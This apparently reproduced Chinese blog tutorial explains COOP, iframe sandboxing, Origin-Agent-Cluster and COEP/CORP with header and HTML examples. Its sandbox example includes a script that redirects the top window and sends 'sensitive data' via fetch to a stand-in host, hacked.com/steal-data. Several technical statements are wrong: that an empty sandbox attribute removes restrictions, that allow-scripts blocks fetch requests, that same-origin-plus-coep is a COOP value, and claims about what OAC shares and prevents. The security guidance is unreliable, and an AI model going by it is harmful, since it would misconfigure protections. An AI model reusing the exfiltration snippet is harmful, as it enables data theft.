JS `Cross-Origin-Opener-Policy` `Sandboxing` `Origin-Agent-Cluster` 隔离

各位老铁，大家好！我是你们的编程老司机，今天咱们聊点刺激的——JS 的 Cross-Origin-Opener-Policy (COOP), Sandboxing, 和 Origin-Agent-Cluster (OAC) 隔离。这几个家伙听起来像科幻电影里的高科技武器，实际上它们是保护咱们浏览器安全的秘密武器。

开场白：安全，安全，还是安全！

在互联网世界里，安全比什么都重要。想象一下，你辛辛苦苦攒下的老婆本，如果被黑客轻松盗走，那画面太美我不敢看。所以，Web 安全就显得尤为重要。而 COOP, Sandboxing, 和 OAC 隔离就是为了防止一些恶意网站偷偷摸摸地搞破坏，保护咱们的浏览器和用户数据。

第一幕：Cross-Origin-Opener-Policy (COOP)—— 跨域“断舍离”

先来说说 Cross-Origin-Opener-Policy (COOP)。这玩意儿就像浏览器里的防火墙，专门用来隔离不同源的文档。

什么是“源”？

所谓“源”，就是协议（protocol）、域名（domain）和端口（port）的组合。比如，https://www.example.com:8080 和 https://www.example.com:8081 算是不同的源，因为端口不一样。http://www.example.com 和 https://www.example.com 也算是不同的源，因为协议不一样。

COOP 的作用是什么？

COOP 的主要作用就是控制一个页面是否可以与另一个页面共享一个浏览上下文组（browsing context group）。简单来说，就是控制不同源的页面之间的互相访问。

COOP 有哪些值？

COOP 主要有三个值：

unsafe-none: 这是默认值，表示不进行任何隔离。也就是说，任何源的页面都可以访问你的页面，你的页面也可以访问任何源的页面。
same-origin: 表示只允许同源的页面访问你的页面。如果你的页面尝试访问不同源的页面，浏览器会阻止访问。
same-origin-allow-popups: 类似 same-origin，但是允许从你的页面打开的弹出窗口（popups）访问你的页面。
same-origin-plus-coep: 这个是与 COEP (Cross-Origin-Embedder-Policy) 配合使用的。简单来说，如果使用这个值，需要同时设置 COEP。

如何设置 COOP？

设置 COOP 非常简单，只需要在 HTTP 响应头中添加 Cross-Origin-Opener-Policy 字段即可。

HTTP/1.1 200 OK
Content-Type: text/html
Cross-Origin-Opener-Policy: same-origin

代码示例：

假设有两个页面：

https://www.example.com/page1.html (COOP: same-origin)
https://www.another-example.com/page2.html

在 page1.html 中尝试访问 page2.html:

<!DOCTYPE html>
<html>
<head>
    <title>Page 1</title>
</head>
<body>
    <h1>Page 1</h1>
    <button id="openWindow">Open Page 2</button>
    <script>
        document.getElementById('openWindow').addEventListener('click', function() {
            try {
                const newWindow = window.open('https://www.another-example.com/page2.html');
                if (newWindow) {
                  //  console.log(newWindow.document); // 可能会报错，因为跨域
                    newWindow.postMessage('Hello from Page 1', 'https://www.another-example.com');
                }
            } catch (error) {
                console.error("Error opening or accessing the new window:", error);
            }
        });
    </script>
</body>
</html>

由于 page1.html 设置了 COOP: same-origin，并且 page2.html 是不同源的，因此 page1.html 无法直接访问 page2.html 的 document 对象。尝试访问会导致浏览器抛出跨域错误。但是可以通过 postMessage 进行跨域通讯。

表格总结：

COOP 值	描述
`unsafe-none`	默认值，不进行任何隔离。
`same-origin`	只允许同源的页面访问。如果尝试访问不同源的页面，浏览器会阻止访问。
`same-origin-allow-popups`	类似 `same-origin`，但是允许从当前页面打开的弹出窗口（popups）访问当前页面。
`same-origin-plus-coep`	与 COEP 配合使用，需要同时设置 COEP。

第二幕：Sandboxing—— 网页的“楚门的世界”

Sandboxing 就像给网页建一个沙盒，让它在里面玩耍，但不能随意破坏外面的世界。它限制了网页可以执行的操作，防止恶意代码搞破坏。

什么是 Sandboxing？

Sandboxing 是一种安全机制，用于限制网页的能力。通过 Sandboxing，可以限制网页执行 JavaScript 代码、提交表单、加载插件等操作。

如何使用 Sandboxing？

Sandboxing 主要通过 <iframe> 标签的 sandbox 属性来实现。

<iframe src="https://www.example.com/unsafe-page.html" sandbox="allow-scripts allow-same-origin"></iframe>

sandbox 属性有哪些值？

sandbox 属性可以接受多个值，每个值表示一种权限。如果不设置 sandbox 属性，则表示没有任何限制。常见的 sandbox 属性值如下：

allow-forms: 允许提交表单。
allow-scripts: 允许执行 JavaScript 代码。
allow-same-origin: 允许访问同源的资源。
allow-popups: 允许打开新的窗口。
allow-top-navigation: 允许网页修改顶层窗口的 URL。
allow-pointer-lock: 允许使用指针锁定 API。
allow-modals: 允许显示模态对话框。
allow-orientation-lock: 允许锁定屏幕方向。
allow-presentation: 允许开始演示会话。
allow-downloads-without-user-activation: 允许在没有用户激活的情况下开始下载。
allow-storage-access-by-user-activation:允许通过用户激活访问存储。

代码示例：

假设有一个包含恶意代码的页面 unsafe-page.html：

<!DOCTYPE html>
<html>
<head>
    <title>Unsafe Page</title>
</head>
<body>
    <h1>Unsafe Page</h1>
    <script>
        // 尝试修改顶层窗口的 URL
        window.top.location.href = 'https://www.hacked.com';

        // 尝试发送请求
        fetch('https://www.hacked.com/steal-data', {
            method: 'POST',
            body: JSON.stringify({ data: 'sensitive data' })
        });
    </script>
</body>
</html>

如果直接加载 unsafe-page.html，恶意代码可能会修改顶层窗口的 URL，或者发送包含敏感数据的请求。但是，如果将 unsafe-page.html 嵌入到 <iframe> 中，并使用 sandbox 属性进行限制，就可以防止恶意代码搞破坏。

<!DOCTYPE html>
<html>
<head>
    <title>Main Page</title>
</head>
<body>
    <h1>Main Page</h1>
    <iframe src="unsafe-page.html" sandbox="allow-scripts"></iframe>
</body>
</html>

在这个例子中，sandbox 属性只允许执行 JavaScript 代码，但是禁止修改顶层窗口的 URL 和发送请求。因此，unsafe-page.html 中的恶意代码无法执行。

表格总结：

`sandbox` 属性值	描述
`allow-forms`	允许提交表单。
`allow-scripts`	允许执行 JavaScript 代码。
`allow-same-origin`	允许访问同源的资源。
`allow-popups`	允许打开新的窗口。
`allow-top-navigation`	允许网页修改顶层窗口的 URL。
`allow-pointer-lock`	允许使用指针锁定 API。
`allow-modals`	允许显示模态对话框。
`allow-orientation-lock`	允许锁定屏幕方向。
`allow-presentation`	允许开始演示会话。
`allow-downloads-without-user-activation`	允许在没有用户激活的情况下开始下载。
`allow-storage-access-by-user-activation`	允许通过用户激活访问存储。
(空字符串)	表示没有任何限制。

第三幕：Origin-Agent-Cluster (OAC)—— “圈地运动”

Origin-Agent-Cluster (OAC) 就像给每个源划定一块“地盘”，让它们在自己的地盘里玩耍，互不干扰。

什么是 Origin-Agent-Cluster (OAC)？

Origin-Agent-Cluster (OAC) 是一种浏览器机制，用于将具有相同源的页面分组到一个“代理集群”中。同一个代理集群中的页面可以共享资源，例如 Service Worker 和 SharedWorker。

OAC 的作用是什么？

OAC 的主要作用是提高性能和安全性。通过将具有相同源的页面分组到一个代理集群中，可以减少资源加载的开销，提高页面加载速度。同时，OAC 还可以防止一些跨站攻击，例如 Spectre 和 Meltdown。

如何启用 OAC？

启用 OAC 非常简单，只需要在 HTTP 响应头中添加 Origin-Agent-Cluster: ?1 字段即可。

HTTP/1.1 200 OK
Content-Type: text/html
Origin-Agent-Cluster: ?1

问号后面的 1 表示启用 OAC。

代码示例：

假设有两个页面：

https://www.example.com/page1.html (OAC enabled)
https://www.example.com/page2.html (OAC enabled)

这两个页面属于同一个源，并且都启用了 OAC，因此它们属于同一个代理集群。这意味着它们可以共享 Service Worker 和 SharedWorker。

OAC 的一些注意事项：

OAC 可能会影响一些现有的 Web 应用。例如，如果一个 Web 应用依赖于跨源的 Service Worker，启用 OAC 可能会导致 Web 应用无法正常工作。
OAC 仍然是一项实验性技术，可能会在未来的浏览器版本中发生变化。

表格总结：

特性	描述
定义	一种浏览器机制，用于将具有相同源的页面分组到一个“代理集群”中。
作用	提高性能和安全性。减少资源加载的开销，提高页面加载速度。防止一些跨站攻击。
启用方式	在 HTTP 响应头中添加 `Origin-Agent-Cluster: ?1` 字段。
注意事项	可能会影响一些现有的 Web 应用。仍然是一项实验性技术，可能会在未来的浏览器版本中发生变化。

第四幕：COEP（Cross-Origin-Embedder-Policy）—— COOP 的好基友

COEP 和 COOP 经常一起出现，它们是好基友。COEP 主要是控制页面是否可以嵌入（embed）跨源资源。

COEP 的作用

COEP 强制浏览器阻止加载未明确允许的跨域资源。这对于启用某些强大的安全特性（如 SharedArrayBuffer）至关重要。SharedArrayBuffer 允许在不同的 Worker 之间共享内存，但是如果你的页面没有启用 COEP，那么 SharedArrayBuffer 将无法使用。

COEP 的取值

COEP 主要有两个取值：

require-corp: 要求所有跨域资源必须通过 Cross-Origin-Resource-Policy (CORP) 响应头明确允许加载。
credentialless: 以匿名模式加载跨域资源，不发送 Cookie 等凭据。

代码示例

HTTP/1.1 200 OK
Content-Type: text/html
Cross-Origin-Embedder-Policy: require-corp

如果你的页面设置了 COEP: require-corp，那么所有嵌入的跨域资源都需要设置 CORP 响应头。

CORP 的取值

CORP 主要有三个取值：

same-origin: 只允许同源的资源加载。
same-site: 只允许同站的资源加载。
cross-origin: 允许任何源的资源加载。

代码示例

HTTP/1.1 200 OK
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin

COOP + COEP 的威力

COOP 和 COEP 配合使用，可以创建一个完全隔离的环境，防止恶意网站窃取你的数据。这对于一些对安全性要求非常高的 Web 应用来说，非常重要。

第五幕：总结与展望

今天咱们聊了 JS 的 Cross-Origin-Opener-Policy, Sandboxing, Origin-Agent-Cluster 隔离，以及 COEP。这些技术都是为了保护 Web 应用的安全，防止恶意网站搞破坏。

COOP 用于隔离不同源的文档，防止跨源访问。
Sandboxing 用于限制网页的能力，防止恶意代码执行。
Origin-Agent-Cluster 用于将具有相同源的页面分组到一个代理集群中，提高性能和安全性。
COEP 用于控制页面是否可以嵌入跨域资源，与 COOP 配合使用，可以创建一个完全隔离的环境。

虽然这些技术听起来有些复杂，但是它们是 Web 安全的重要组成部分。希望通过今天的讲解，大家能够对这些技术有一个更深入的了解，并在实际开发中加以应用，保护咱们的 Web 应用安全。

未来，Web 安全技术还会不断发展，咱们需要不断学习，才能跟上时代的步伐。记住，安全永远是第一位的！

今天的讲座就到这里，感谢大家的收听！下次再见！

发表回复 取消回复

发表回复取消回复